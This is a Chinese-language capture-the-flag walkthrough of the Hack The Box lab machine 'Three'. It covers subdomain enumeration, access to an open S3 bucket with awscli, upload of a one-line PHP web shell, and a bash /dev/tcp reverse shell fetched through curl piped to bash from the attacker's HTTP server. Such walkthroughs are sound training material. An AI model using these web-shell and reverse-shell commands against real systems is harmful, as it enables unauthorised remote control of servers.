TIER 1: Three
TIER 1: Three
信息收集
通过以前的练习,我们首先确认目标 IP 开放了哪些端口,比如使用 nmap 之类的工具进行扫描。本次靶机开放:
- 22 端口:SSH, OpenSSH
- 80 端口:HTTP, Apache
在浏览器中访问目标 IP,可以看到一个简单的网页。当然我们可以借助 Wappalyzer 判断网站使用的技术栈。
- OS: Ubuntu
- Web Servers: Apache
- Programming Languages: PHP
- Font scripts: Font Awesome, Google Font API
- CDN: cdnjs, CloudFlare
这当然,信息收集不止于此。通过观察网站提供给我们的帮助信息,比如其中的电话、邮箱、备案信息等,我们可以进一步了解目标。像这个靶机,我们可以通过邮箱域名 thetoppers.htb 进行访问,先设置 hosts 文件,然后访问。
Sub-domain
子域名 sub-daomain 也是信息收集的一部分。它是指在域名的基础上,添加一个前缀,比如 www、mail、blog 等。
- 我们可以通过子域名来访问不同的服务,比如 www、mail、blog 等。我们可以通过子域名来访问不同的服务,比如 www.thetoppers.htb、mail.thetoppers.htb、blog.thetoppers.htb 等。
- 子域名可能指向不同的 IP,也可能指向同一个 IP。我们可以通过子域名来访问不同的服务。
我们尝试挖掘一下子域名,此处通过 gobuster 进行挖掘。
- 我们使用 subdomains-top1million-5000.txt 这个公共字典,没有可以在 👉 https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt 下载。
- gobuster 使用 vhost 模式,通过
-w
指定字典,-u
指定 URL 地址。
gobuster vhost -w ./subdomains-top1million-5000.txt -u http://thetoppers.htb
我们挖掘到 s3.thetoppers.htb
这个域名,然后在 hosts 文件中绑定。然后进行访问,在浏览器中我们看到一个 JSON 数据,通过开发者工具我们可以看到这是一个 AWS S3 的 Bucket。
AWS S3
S3(Simple Storage Service)是亚马逊网络服务(Amazon Web Services,AWS)提供的一种对象存储服务。S3 bucket 是 S3 中用于存储数据的容器。它类似于一个文件夹或存储桶,可以存储各种类型的数据,如文本文件、图像、视频、数据库备份等。
每个 S3 bucket 都有一个 全局唯一 的名称,并由 AWS 的特定地区和桶名称组成,例如:s3://mybucket
我们需要使用 awscli 进行访问。AWS CLI(AWS Command Line Interface)是一个用于与亚马逊网络服务(Amazon Web Services,AWS)进行交互的命令行工具。它使您能够通过命令行界面管理和操作 AWS 资源,而无需依赖于 AWS 管理控制台的图形用户界面。AWS CLI 提供了一组命令行命令,可以通过终端窗口或脚本来执行各种操作,如创建和管理云资源、配置安全性、访问AWS服务和API、上传和下载文件等。
aws --endpoint=http://s3.thetoppers.htb s3 ls
- --endpoint 指定 S3 的 endpoint,此处为 http://s3.thetoppers.htb
- ls 列出 bucket 中的文件
# 进一步查看 bucket 中的对象
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers
- images/ 目录
- .htaccess 文件
- index.php 文件
这些内容是否眼熟,之前我们在靶机的网页的源码中看到过。awscli 可以上传文件,我们可以尝试上传 php 木马。
# 制作 php 木马
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# 上传 php 木马
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
尝试访问 http://thetoppers.htb/shell.php?cmd=id
进行测试。就结果而言,我们可以看到我们成功执行了命令。
反弹 shell
首先查看一下我们的 IP,编写 shell.sh 脚本,下面是内容。
#!/bin/bash
bash -i >& /dev/tcp/x.x.x.x/1337 0>&1
- x.x.x.x 为我们的 IP
- IP 记住是 tun0 的 IP
开启对应监听 nc -nvlp 1337
我们能够与靶机连接依托于 openvpn,在网络接口上应该使用 tun0 的 IP,当然如果你开了多个 vpn 连接,那么就需要注意一下。选择于靶机连接的网络接口,然后使用它的 IP 就对了。
使用 python3 -m http.server 8000
开启一个 http 服务。让靶机访问的 shell.sh 脚本。访问 http://thetoppers.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash
反弹连接。
flag 位置:
/var/www/flag.txt